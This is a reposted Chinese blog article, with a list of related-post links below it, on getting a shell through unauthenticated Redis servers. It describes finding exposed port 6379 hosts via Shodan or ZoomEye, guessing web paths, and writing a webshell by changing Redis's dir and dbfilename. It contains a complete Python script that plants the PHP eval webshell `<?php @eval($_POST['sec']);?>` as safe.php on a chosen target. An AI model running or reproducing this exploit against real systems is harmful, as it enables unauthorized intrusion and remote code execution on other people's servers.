redis getshell总结
来源:互联网 发布:通用域名有什么用 编辑:程序博客网 时间:2024/06/05 15:47
redis默认端口是6379,可以通过zoomeye或者shodan来查找开放6379的端口,能收到很多对外开放6379端口的ip,而且绝大部门是未授权访问的,因为默认redis是未授权访问。但是还有一先决条件是该ip开放web服务,也就是开放如常见的80端口等,满足这两个条件你就有可能getshell。但是还有最麻烦的一件事是,你必须要知道网站web路径。这边只能靠网站报错泄漏路径,phpinfo文件为删除,文件包含漏洞等,不然只能靠猜了,比如iis服务器的路径c:/inetpub/wwwroot等,linux服务器/var/www, /var/www/html等。
可以用redis-cli客户端连上redis服务器
然后可以用info验证是否有信息
通过设置路径,设置webshell名字和内容getshell,具体步骤如下
总结一下,redis getshell条件
- redis可以未授权访问,或者弱口令访问
- redis服务器还开放了web服务
- 知道web服务器的路径
以下还有一个redis getshell的脚本
#!/usr/bin/env python# coding=utf8# author=Cy3ber http://www.cy3ber.com import redisimport sys def log(text): print '[*]------' + text def getshell(ip='127.0.0.1', pt=6379, webdir='/var/www/', socket_timeout=10): try: r = redis.StrictRedis(host=ip, port=pt) if r.config_set('dir', webdir) == True and r.config_set('dbfilename', 'safe.php') == True: log('set shell on %safe.php sucsessed' % (webdir)) else: log('set shell dir failed') sys.exit(1) if r.set('myshell', "<?php @eval($_POST['sec']);?>") == True: log('set eval sucsessed') else: log('set eval failed') sys.exit(1) if r.save() == True: log('save shell as %safe.php sucsessed password is "sec"'%(webdir)) log('getshell sucsessed please check') else: log('getshell failed') except: log('error') if __name__ == '__main__': if len(sys.argv) <> 4: print "\n+-----------------------------+" print "| JbossGetshell |" print "| Cy3ber - cy3ber.com |" print "| Email:webmaster@cy3ber.com |" print "+-----------------------------+\n" print 'Usage:python redisgetshell.py ip port webdir' print "explame:python redisgetshell.py 10.0.18.1 6379 /data/web/" sys.exit(1) else: getshell(ip=sys.argv[1],pt=sys.argv[2],webdir=sys.argv[3])
0 0
- redis getshell总结
- redis渗透中的getshell问题总结
- redis渗透中的getshell问题总结
- redis save漏洞getshell redis使用安全
- Redis Getshell自动化实践之SSH key
- Redis Getshell自动化实践之cron
- Redis Getshell自动化实践之webshell
- CTF web总结--利用mysql日志getshell
- redis总结
- Redis总结
- Redis总结
- Redis总结
- redis总结
- Redis总结
- redis总结
- redis总结
- redis总结
- redis总结
- JavaScript中的对象、类、构造函数
- java类型转换
- Swift:类型推理
- 显示意图与隐示意图定义(intent)
- HDU1301 最小生成树 + Prim +(Prim求最小生成树与Dijkstra求最短路的区别) (如此题不要误解题意为用Dijkstra!)
- redis getshell总结
- IndentationError: unexpected indent python
- C++ 虚函数表解析
- 【bzoj 1031】[JSOI2007] 字符加密Cipher(后缀数组)
- 机房水题欢乐赛 2016-04-17
- 错误处理小实例
- JAVA设计模式之------简单工厂模式
- Qualification Round 2016(A. Counting Sheep,B. Revenge of the Pancakes,C. Coin Jam,D. Fractiles(构造))
- unity3d面试2